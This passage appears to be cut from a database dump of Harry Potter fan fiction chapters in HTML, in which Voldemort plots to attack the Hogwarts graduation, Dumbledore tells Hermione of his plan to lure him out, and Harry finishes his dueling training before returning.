true?&#8221;</p>\n\n<p>&#8220;Yes, my lord, Lucius has spoken with his son many times over the passed few months, and Harry Potter has not been seen at Hogwarts once since just after the New Year.&#8221;</p>\n\n<p>&#8220;Something just doesn&#8217;t add up about this. What&#8217;s our status on our plans?&#8221;</p>\n\n<p>&#8220;My lord, your followers are poised to raid Azkaban within the next week. We have received no word from the giants however. The trolls will be easy enough to control, but the centaurs will not cooperate with us.&#8221;</p>\n\n<p>&#8220;No matter, neither the giants nor the centaurs would dare to openly oppose me; they&#8217;re not strong enough.&#8221; Voldemort smiled an evil grin.</p>\n\n<p>&#8220;So&#8230;Harry Potter was kicked out of Hogwarts. Well then, I guess I could kill him the easy way or the hard way.&#8221;</p>\n\n<p>&#8220;What do mean, master?&#8221; Wormtail asked.</p>\n\n<p>&#8220;It&#8217;s quite simple. If Potter is no longer at Hogwarts, then he is no longer under Dumbledore&#8217;s protection. That old goat has been a thorn in my side long enough. We could hunt the boy down and kill him, but it would take a good number of our resources. On the other hand, we could make him come to us by taking away what he loves most.&#8221;</p>\n\n<p>&#8220;Sir? You don&#8217;t mean&#8230;&#8221;</p>\n\n<p>&#8220;Avery&#8230;Crab&#8230;Goyle!&#8221; Voldemort shouted, and three men appeared at his command.</p>\n\n<p>&#8220;Listen carefully, all of you. If Hogwarts&#8217; tradition hasn&#8217;t changed, the entire Ministry of Magic attends their graduations. It would be a perfect target for us.&#8221;</p>\n\n<p>&#8220;But, my lord, if I may, what does this have to do with Potter?&#8221; Avery asked.</p>\n\n<p>&#8220;You imbecile, don&#8217;t you see. That boy loves Hogwarts. If it is danger, he will come back to help; it&#8217;s in his nature. Yes, I can kill two birds with one stone. Potter won&#8217;t be able to resist coming to save his friends. I can kill him in front of the entire Ministry of Magic; that will be the end of their insolence.&#8221;</p>\n\n<p>&#8220;An excellent plan, master,&#8221; Wormtail quickly agreed.</p>\n\n<p>&#8220;Shut-up, you pathetic excuse for a man. Avery, contact Lucius and inform him of our plans. Crab, Goyle, summon my followers. Our time has finally come.&#8221;</p>\n\n<p>Hermione sat beside Ron in Advanced Transfiguration. They were supposed to turn the pillow in front of them into a cat or some other type of small animal. She was trying her best, but every time, the cat came out with either no legs or only one or two.</p>\n\n<p>&#8220;Dammit, why can&#8217;t I do this?&#8221; she hissed. Ron was taken aback; Hermione never swore.</p>\n\n<p>&#8220;Relax Herm, it&#8217;s just practice okay. Take a deep breath and calm down. Come on, you can do this stuff in your sleep.&#8221;</p>\n\n<p>&#8220;Sorry Ron, I&#8217;m just a little on edge right now.&#8221; The red-haired young man cracked a small grin at her.</p>\n\n<p>&#8220;Don&#8217;t mention it&#8230;&#8221; he leaned down and whispered in her ear, &#8220;&#8230;I miss him too.&#8221; Hermione perked up and smiled brightly. She picked up her wand and went back to transfiguring her cat/pillow.</p>\n\n<p>The door to the classroom opened and in walked Professor Dumbledore himself. The old man pushed his glasses up on his nose and smiled at the class.</p>\n\n<p>&#8220;Excuse me, Professor McGonagall, could I see Miss Granger please?&#8221; Hermione almost swallowed her tongue. Had she just heard what she thought she heard?</p>\n\n<p>&#8220;Certainly, Professor,&#8221; replied Minerva McGonagall who had a surprised look on her face as well. Hermione gathered her things and followed the headmaster out of the room.</p>\n\n<p>&#8220;Come with me,&#8221; he merely said and led the young woman down the hall.</p>\n\n<p>Hermione remained silent as she followed Dumbledore down the various hallways and passages. Finally arriving at a large gargoyle statue, he whispered &#8216;lemon drop&#8217;, and the statue moved aside.</p>\n\n<p>&#8220;Come inside, Miss Granger.&#8221; Hermione had always wondered what his office had looked like, and she readily followed.</p>\n\n<p>Harry had told her a few times what Dumbledore had in his office, but she was still stunned by the beautiful collection of paintings and trinkets around the large room.</p>\n\n<p>&#8220;What did you want to see me about, Professor Dumbledore?&#8221; Hermione asked, trying to keep the nervousness out of her voice.</p>\n\n<p>&#8220;Relax, my dear, you&#8217;re not in trouble; I merely brought you here to talk that is all.&#8221; She visibly relaxed.</p>\n\n<p>&#8220;What do wish to know?&#8221;</p>\n\n<p>&#8220;Ah, I believe that is the question that you have for me?&#8221; he said with a toothy grin. &#8220;You have a great many questions, child, now you may ask them.&#8221;</p>\n\n<p>&#8220;Well&#8230;I&#8230;&#8221; Hermione looked down at her hands. There were so many things buzzing through her mind that she couldn&#8217;t decide.</p>\n\n<p>&#8220;Perhaps I should start by telling what I told Harry so long ago. The true reason why he survived Voldemort&#8217;s attack all those years ago.&#8221; The young woman&#8217;s jaw dropped.</p>\n\n<p>&#8220;Sir&#8230;why would you tell me this?&#8221; His smile only widened.</p>\n\n<p>&#8220;I sense a growing sadness within you, Hermione. It has been there since Harry left here, and it has affected both you and your performance since. Tell me, why do you miss him so much?&#8221;</p>\n\n<p>&#8220;Because&#8230;I&#8230;I love him, professor. And he loves me as well. We both tried to ignore it for so long, but when he was hurt, I couldn&#8217;t stand not telling him anymore. We tried to keep our feelings private, but I&#8217;m sure that you know that didn&#8217;t exactly happen.&#8221; Dumbledore chuckled lightly.</p>\n\n<p>&#8220;You two remind of James and Lily during their sixth year. That was when their relationship became serious, but it wasn&#8217;t nearly as unusual.&#8221;</p>\n\n<p>&#8220;Hermione, listen to me carefully, I am going to tell you the same thing that I told Harry, but I must ask you not to tell anyone about it. I held him to the same promise, and he kept it.&#8221;</p>\n\n<p>&#8220;I promise, sir,&#8221; she replied.</p>\n\n<p>&#8220;Very well.&#8221; Dumbledore proceeded to tell Hermione what had happened to Harry the night that Voldemort attacked his home &#8211; why he really survived, what happened with Gemstar, and why his power was growing so rapidly.</p>\n\n<p>Hermione could only listen in wonder as Dumbledore continued with his story. She&#8217;d always associated the unbelievable with Harry Potter, but this was well beyond that.</p>\n\n<p>&#8220;So, Harry&#8217;s abilities will continue to increase as he ages?&#8221;</p>\n\n<p>&#8220;Yes, but they will climax on the day he matures. I knew that it would be only a matter of time before Voldemort returned to kill Harry so he and I agreed to a plan.&#8221;</p>\n\n<p>&#8220;What do mean &#8216;a plan&#8217;?&#8221; Hermione asked with a concerned look.</p>\n\n<p>&#8220;Let me explain&#8230;&#8221;</p>\n\n<p>*Flashback to Harry and Dumbledore&#8217;s first meeting*</p>\n\n<p>&#8220;Harry, listen to me carefully. The plan that I have in mind will put you at great risk, but it is the only alternative that we have left. I intend to draw Voldemort out of hiding.&#8221;</p>\n\n<p>&#8220;How do you plan on accomplishing that?&#8221;</p>\n\n<p>&#8220;We must give him a ripe target; it must either you or Hogwarts. But if we gave him both, he can&#8217;t resist. Harry&#8230;that is why I must ask you&#8230;to leave Hogwarts.&#8221;</p>\n\n<p>&#8220;Leave! But this is the closest I&#8217;ve ever had to a home.&#8221; Dumbledore hated having to ask him this, but he had no other choice.</p>\n\n<p>&#8220;Harry, listen carefully, if you were to leave, I know that Voldemort would get word of it. He would attack Hogwarts because he knows that you would come back to protect your friends. That way, he can destroy both you and the school at once. After that whole fiasco with the TriWizard Tournament and what you told me about him, Voldemort believes that you are no threat to him, but you are still a nuisance regardless.&#8221;</p>\n\n<p>Harry sat staring at his hands. Professor Dumbledore was asking him to give up the one thing that made him proud of who he was. But at the same time, he felt responsible for Voldemort&#8217;s actions. He would die if the evil wizard destroyed Hogwarts.</p>\n\n<p>&#8220;All right, sir, what do want me to do?&#8221;</p>\n\n<p>&#8220;Good, my boy, you&#8217;ve grown in a man.&#8221;</p>\n\n<p>&#8220;I don&#8217;t want to leave here, professor, but if helps to stop Voldemort, I&#8217;ll do it.&#8221;</p>\n\n<p>&#8220;I&#8217;m glad to here that, but there is more to my plan. You cannot just disappear from Hogwarts; Voldemort would recognize my actions in an instant. The only other option is for you to be forcibly removed from here.&#8221;</p>\n\n<p>&#8220;You mean expelled!&#8221;</p>\n\n<p>&#8220;Exactly. If you were expelled from Hogwarts, not only would Voldemort&#8217;s lackeys carry it back to him, but they would probably legitimize it even more. The only thing is, I&#8217;m not quite sure how to go about it. Minister Fudge won&#8217;t allow you to be simply &#8216;thrown out&#8217; &#8211; not with your reputation. It would have to be for something incontrovertible.&#8221;</p>\n\n<p>&#8220;Well, I won&#8217;t kill anybody if that&#8217;s what you mean.&#8221; Dumbledore chuckled at his comment.</p>\n\n<p>&#8220;Don&#8217;t worry, Harry, I would never ask that of you, and frankly, I doubt you&#8217;d do it anyway.&#8221;</p>\n\n<p>&#8220;What should we do then?&#8221;</p>\n\n<p>&#8220;We will bide our time for the moment. As I told you, I believe that Voldemort will not attack until the summertime. But we must act by Christmas, or there won&#8217;t be enough time.&#8221;</p>\n\n<p>&#8220;Listen Harry, while you are gone, I&#8217;m going to arrange for you to continue learning magic. You must be trained to duel and learn to defend yourself properly against high-level magic. I could be fired for even suggesting this, but I trust your judgment. I know that you will learn to control your power.&#8221;</p>\n\n<p>&#8220;Professor Dumbledore&#8230;I know that I haven&#8217;t always followed the rules, but I try to respect what you&#8217;ve built here at Hogwarts. I know that the Ministry of Magic doesn&#8217;t always like me, but I&#8230;&#8221;</p>\n\n<p>&#8220;It&#8217;s all right, Harry, I understand. I know that you act on your instincts; it is a quality that few wizards possess at such a young age.&#8221;</p>\n\n<p>&#8220;Sir, if I may ask, why am I being ask to do this? I mean, I know I was given a gift and so forth, but aren&#8217;t you strong enough to defeat Voldemort? Haven&#8217;t the two of you always equaled each other?&#8221;</p>\n\n<p>Dumbledore closed his eyes and removed his glasses. He had hoped that Harry wouldn&#8217;t have asked that question.</p>\n\n<p>&#8220;To be frank, my boy, the answer is no. In my prime, yes, Voldemort and I were equals in abilities and power. He chose to learn spells and curses that I did not, but I was still able to counteract him. Now however, I&#8217;ve grown much older, and from what you&#8217;ve told me, that evil wizard has been reborn to the height of his power.&#8221;</p>\n\n<p>&#8220;You mean you can&#8217;t beat him!&#8221; Harry gasped hardly believing his mentor&#8217;s words.</p>\n\n<p>&#8220;I can slow him down, but I cannot defeat him. That is the only reason why I have asked this of you. I wouldn&#8217;t dare putting you in danger if could take Voldemort out myself. I and the other professors can protect Hogwarts and the students, but if he shows his true power there is nothing that I can do. My only hope is that you can realize the true potential that resides in you.&#8221;</p>\n\n<p>Harry Potter sat there stunned speechless. Not even Dumbledore, the greatest good wizard that the world knew was not capable of destroying the Dark Lord. It was all up to him. The young man sat there feeling numb. His hands were trembling, and he crossed his arms as his mind raced with images. Once again, he would have to face the dark wizard himself.</p>\n\n<p>*End flashback*</p>\n\n<p>Hermione&#8217;s jaw was stuck to the floor by the time Dumbledore finished his explanation. She&#8217;d always thought that no matter what Harry was destined to become that Dumbledore would be there to protect him. Now, she realized that the headmaster could no longer shield her lover from the darkness that wanted to destroy him.</p>\n\n<p>&#8220;Professor Dumbledore, what should we do now? Shouldn&#8217;t Hogwarts be evacuated?&#8221;</p>\n\n<p>&#8220;We cannot make any sudden moves, or Voldemort will not attack. When the time comes, the students will be safe that I promise you, but for now, things must remain normal.&#8221;</p>\n\n<p>&#8220;Sir, if I may ask, just where is Harry right now? He hasn&#8217;t told me in any of his letters.&#8221;</p>\n\n<p>&#8220;As well he should in case Voldemort&#8217;s followers intercepted Hedwig. He is somewhere safe &#8211; not even the Dark Lord can find out where he is. Harry is preparing himself for the challenge ahead; that is all I can say.&#8221;</p>\n\n<p>&#8220;You mean he&#8217;s&#8230;&#8221;</p>\n\n<p>&#8220;Yes, Harry will be returning to Hogwarts shortly&#8230;as will Voldemort. My guess is that his target will be our graduation ceremony.&#8221;</p>\n\n<p>&#8220;Of course, the entire Ministry of Magic attends it,&#8221; Hermione gasped.</p>\n\n<p>&#8220;Well done, Hermione, I see you understand.&#8221;</p>\n\n<p>&#8220;Professor, why did you tell me all this?&#8221;</p>\n\n<p>&#8220;Because I felt that you deserved to know. I could tell that it was killing Harry to hide something from you so I decided to let you know. Do not tell him that you know his secret, Hermione.&#8221;</p>\n\n<p>&#8220;But why sir?&#8221;</p>\n\n<p>&#8220;Harry is under tremendous pressure right now. If you told him what you know now, he would put himself under even more stress, and he wouldn&#8217;t be able to concentrate. He needs to remain focused, but he&#8217;ll become distracted if he feels that you&#8217;re worrying about him.&#8221;</p>\n\n<p>&#8220;I&#8230;I understand. I won&#8217;t tell him then.&#8221;</p>\n\n<p>&#8220;I know this is hard, Hermione, but you must understand. Right now, Harry Potter may be the only hope that the world of magic has left. Myself and other professors can support him, but he is the one who must make the choice. It is up to him to decide how far his magic goes.&#8221;</p>\n\n<p>&#8220;Professor Dumbledore, thank you for trusting me with this; I promise not to tell anyone.&#8221;</p>\n\n<p>&#8220;Thank you, Miss Granger, you may go now.&#8221;</p>\n\n<p>&#8220;Yes sir.&#8221; </p>\n\n<p>Hermione walked out of Dumbledore&#8217;s office and felt her chest tighten. Why&#8230;why did Harry always have to face the deadliest wizard of all time?</p>\n\n<p>&#8216;Because he&#8217;s Harry Potter!&#8217; her own mind screamed back at her.</p>\n\n<p>&#8220;Harry&#8230;&#8221; she whispered out and felt her heart tense, &#8220;&#8230;please, my love, come back to me soon.&#8221;</p>\n\n<p>Meanwhile, at the house of Albus Dumbledore, Harry&#8217;s training was entering its final level.</p>\n\n<p>&#8220;All right, Harry, go!&#8221; Sirius shouted at him.</p>\n\n<p>Harry Potter was seated on his Firebolt waiting for the order. He shot up into the air while his three trainers attacked him from both above and below. His task was to dodge their attacks and curses without any counter magic.</p>\n\n<p>&#8220;Okay, boy, here we go!&#8221; Moody&#8217;s wand emitted a pillar of fire, and Harry rolled over on his broom to avoid it.</p>\n\n<p>Lupin and Sirius joined in, and the three men held nothing back as they attacked the young wizard.</p>\n\n<p>Harry barrel-rolled, banked, and swerved in and out as he ducked a lightning bolt, then a giant boulder, then a magically created cyclone, and lastly a combined attack consisting of a tidal wave barreling through a wind tunnel.</p>\n\n<p>&#8220;The boy can fly!&#8221; Remus said admirably as Harry avoided the attacks.</p>\n\n<p>It began again, but this time, Remus and Moody levitated into the air. Harry stopped moving and hovered about fifty feet above the ground.</p>\n\n<p>&#8220;You shouldn&#8217;t have stopped moving boy!&#8221; Moody shouted as he launched a fireball at Harry. Lupin launched a fury of razor-sharp icicles at him from the other side.</p>\n\n<p>&#8216;Come on&#8230;come on&#8230;a little closer&#8230;&#8217; Harry murmured to himself. He was deliberately waiting.</p>\n\n<p>At the last moment, Harry propelled himself off his broom and into midair. The Firebolt then moved out of the way. The two spells hit and cancelled each other out.</p>\n\n<p>&#8220;Accio Firebolt!&#8221; The broom came at its master&#8217;s summons, and Harry remounted it.</p>\n\n<p>&#8220;Expelliarmus!&#8221; Harry disarmed his two aggressors then zoomed down to where Sirius was waiting on the ground.</p>\n\n<p>&#8216;The boy never learns; you never attack head-on!&#8217; Sirius groaned as he saw Harry heading right for him. &#8216;Very well, if I must.&#8217;</p>\n\n<p>Harry continued to advance, and he carefully watched the older man&#8217;s movements.</p>\n\n<p>&#8216;Easy, Harry, wait for him to make the first move.&#8217; The minute he saw Sirius&#8217; wand raise he knew what was coming.</p>\n\n<p>&#8220;Exploda!&#8221; Sirius shouted. The spot where Harry Potter sat on his broom exploded in a fury of flames.</p>\n\n<p>&#8220;Sorry, my boy, but I&#8217;ve told you not to do that,&#8221; Sirius said with a shake of his head. Suddenly, a small pop was heard.</p>\n\n<p>&#8220;I remember!&#8221; Sirius snapped around at the sound of Harry&#8217;s voice. The sly dog, he&#8217;d disapparated. &#8220;Petrificas Totales!&#8221; It was too late. Sirius&#8217; body came to a halt, and he hit the ground with thud.</p>\n\n<p>&#8220;That was a little too close,&#8221; Harry sighed and took a deep breath. He waved his hand, and Sirius&#8217; body was released.</p>\n\n<p>&#8220;Well done, Harry, excellent misdirection.&#8221; Remus stated as he and Moody walked up to the pair.</p>\n\n<p>&#8220;Blimey, I&#8217;d say the boy&#8217;s finally getting it!&#8221; Moody grinned and let out a drunken laugh.</p>\n\n<p>Harry smiled in appreciation, but he knew that his time was running out. It was only a few more weeks until it was time. Time for him to return to Hogwarts. Time for him to face Voldemort one last time.</p> '),
	(162, 11, '\n\n\n\n<p class="MsoBodyText">Disclaimer:&nbsp; I do\nnot own the characters of Harry Potter.&nbsp;\nThey are the property of&nbsp;&nbsp; J. K.\nRowling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The Great Hall was usually a bustling place at breakfast,\nbut this morning, the place was almost dead silent.&nbsp; Everyone had their faces stuffed into newspapers; their eyes\nbeing caught by the front-page headlines:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Jailbreak\nat Azkaban.&nbsp; All Prisoners escaped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Now this was enough to make anyone cringe, but what really\nmade their skin crawl was the picture from the wizard prison.&nbsp; Because&#8230;above the broken stonewalls,\nfloating in the sky like a demon, was the Dark Mark.&nbsp; Only one person used that mark &#8211; Voldemort.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t believe it.&nbsp;\nHow could anyone break into Azkaban?&#8221; shouted a sixth year Hufflepuff.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why is that ugly skull up in the sky?&#8221; a second year\nRavenclaw asked fearfully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is Voldemort really alive?&#8221; a fifth year Slytherin\ngasped.&nbsp; Several students cringed at the\nuse of the dark wizard&#8217;s name.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dammit!&#8221; Ron Weasley groaned and slammed down the newspaper\nhe was reading. &#8220;How could this happen?&nbsp;\nThat place is supposed to be impenetrable!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And it&#8217;s guarded by those dementor things too isn&#8217;t it?&#8221;\nLavender stated with a shiver.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione brushed some of her hair out of her face.&nbsp; Her eyes never left the picture of the Dark\nMark.&nbsp; She&#8217;d seen that hideous thing\nbefore and had no call to see it again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry was right&#8230;he his alive.&nbsp; Think about it, You-Know-Who can offer the dementors anything\nthey want.&nbsp; They feed off people&#8217;s happy\nthoughts and emotions.&nbsp; He could give\nthem a buffet of helpless victims just waiting to be sucked dry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Jeez Herm, did you have to be so blunt?&#8221; Ron gulped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your attention please!&#8221; It was Professor McGonagall.&nbsp; All eyes turned towards the long table at\nthe front of the hall.&nbsp; Professor\nDumbledore stood from his chair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I ask that all of you try to remain calm.&nbsp; Yes, this incident is very serious, but you\nall must remain strong.&nbsp; The term will\nbe over in few days, and each of you will be returning home.&nbsp; We have taken special measures to ensure\nyour safety so do not be frightened.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">You could have heard Draco Malfoy snickering from a mile\naway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;In regards to graduation, it will still take place.&nbsp; It has been a tradition at Hogwarts that the\nMinistry of Magic be in attendance for the ceremony, but recent events have\nmade that quite impossible.&nbsp; However,\nMinister Fudge has promised me that he himself will be here to congratulate our\nfinishing students.&nbsp; I wish the sixth\nand seventh year students well on their exams.&nbsp;\nThat is all.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After Dumbledore finished talking, most of the students\ncalmed down, but everyone was still a little on edge.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That night, Hermione wrote a letter to Harry telling him the\nnews about Azkaban.&nbsp; Telling him to be\ncareful, she strapped it to Hedwig&#8217;s leg, and the snowy owl flew out into the\nnight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry already knew about the events at Azkaban as Dumbledore\nhad sent a message to Sirius and Lupin not more than five minutes after he\nhimself had found out.&nbsp; Upon showing it\nto Moody, the three men increased the intensity of Harry&#8217;s training a\nhundred-fold.&nbsp; By the end of each day,\nall four of them were exhausted, yet they got up and did it again the following\nmorning.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">At last, the final day of training had arrived.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was locked into an all-out battle with his three\nfriends.&nbsp; They didn&#8217;t give him an inch\nand attacked with everything they had.&nbsp;\nBetween shielding fireballs and thunderbolts from Remus and Moody, Harry\nwas very busy.&nbsp; Add to the fact that\nSirius was making the entire ground shake made it nearly impossible.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Giving up was not in his nature, and Harry set about\neliminating his adversaries.&nbsp; First, he\npointed his wand at the ground, and what seemed like a mole digging through the\nearth shot its way towards Sirius.&nbsp; Upon\nreaching his feet, the spell exploded upwards and flung the man back onto the\ngrass.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s next target was Remus.&nbsp; Swinging his wand in overhead arch, Harry shot a stream off water\nout of the fountain in the courtyard and proceeded to douse his former teacher\nwith about a hundred gallons of water.&nbsp;\nBy soaking his opponent&#8217;s wand, it made it almost impossible for him to\ncast a good fire spell.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The final opponent was Moody, and he was the trickiest of\nall, but Harry had a little trick of his own planned.&nbsp; Waiting for the old man to attack, he reached into his robes for\nsomething.&nbsp; Moody threw a thunderbolt at\nhim, and Harry pulled out a small piece of wire, which had a leather handle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are you doing boy?&#8221; Moody demanded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Winning,&#8221; and Harry blasted him with a wind spell, throwing\nhim back into a nearby bush.&nbsp; The young\nman stopped to catch his breath.&nbsp; He\nlooked to see his robes tattered and slightly charred, but he was alive &#8211; that\nwas the important thing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, that&#8217;s just about everything,&#8221; Remus Lupin coughed as\nhe tried to dry himself off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good work, Harry, that&#8217;s all we can teach you,&#8221; Sirius said\nas he walked up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blimey, ya dun good, Potter!&#8221; Moody laughed. &#8220;What did you\nuse on me anyway?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, just this,&#8221; and he handed the wire to the old man.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wait a minute, is this a&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A lightning rod,&#8221; Harry finished for him. &#8220;The leather\nhandle kept me insulated.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You mean I got beat by a Muggle invention!&#8221; Moody nearly\nshouted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, my friend, you did,&#8221; Remus laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry put away his wand and cracked his neck; he was as\nstiff as a board.&nbsp; Man, what he wouldn&#8217;t\ngive for one of Hermione&#8217;s massages.&nbsp;\nShe had the best hands.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Whoa, easy Potter, save it for another time,&#8217; he warned\nhimself.&nbsp; Meanwhile, Sirius came up to\nhim and put a hand on his shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you ready?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was tempted to say &#8216;As ready as I&#8217;ll ever be&#8217;, but\nthat wasn&#8217;t something he wanted to say.&nbsp;\nFor the first time in his life, Harry wasn&#8217;t afraid of facing\nVoldemort.&nbsp; Sure he respected the dark\nwizard&#8217;s abilities, but the old fear and apprehension that went along with\nfighting him was gone.&nbsp; Harry looked at\nhis three trainers and said something that made them smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve been ready for this my whole life.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(162, 12, '\n\n\n\n<p class="MsoBodyText">Disclaimer:&nbsp; I do\nnot own the characters of Harry Potter.&nbsp;\nThey are the property of&nbsp;&nbsp; J. K.\nRowling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Graduation\nday at Hogwarts was a very important day.&nbsp; The graduates were all getting\nfitted for their gowns &#8211; each of them wearing their house&#8217;s colors.&nbsp; It\nwas also the second to last day for continuing students.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron\nand Hermione were sitting in the Great Hall anxiously awaiting a letter from\nHarry.&nbsp; They hadn&#8217;t heard from him since Hermione&#8217;s letter, but it usually\ntook Hedwig a few days each way.&nbsp; Hermione was a nervous wreck because she\nknew something no other student knew and what this day was going to bring.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hey\nHerm, you okay?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yeah,\nI&#8217;m fine&#8230;just relieved that the year&#8217;s over.&#8221; Ron grinned at her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Aw,\nyou just wanna see Harry again!&#8221; he teased.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well&#8230;yeah,\nI do.&nbsp; He is my boyfriend,&#8221; she retorted. &#8216;And so much more,&#8217; she added\nsilently.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nmain gates of Hogwarts castle opened to welcome their guests for the day.&nbsp;\nVarious reporters were there from several wizard papers, and Minister Fudge\nentered with two of his aids at his side.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Cornelius,&#8221;\nDumbledore greeted and shook his friend&#8217;s hand.&nbsp; The minister had a fake\nsmile on his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Normally\nAlbus, I&#8217;d be happy to see you and to be here, but the last few days have been\na nightmare.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What&#8217;s\nthe latest news?&#8221; the headmaster asked as the two headed into a side passage.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We\nknow that You-Know-Who is gathering his followers, but we don&#8217;t know where he\nis going to strike.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why\nnot here?&#8221; Dumbledore asked making his colleague gasp. &#8220;Think about it, 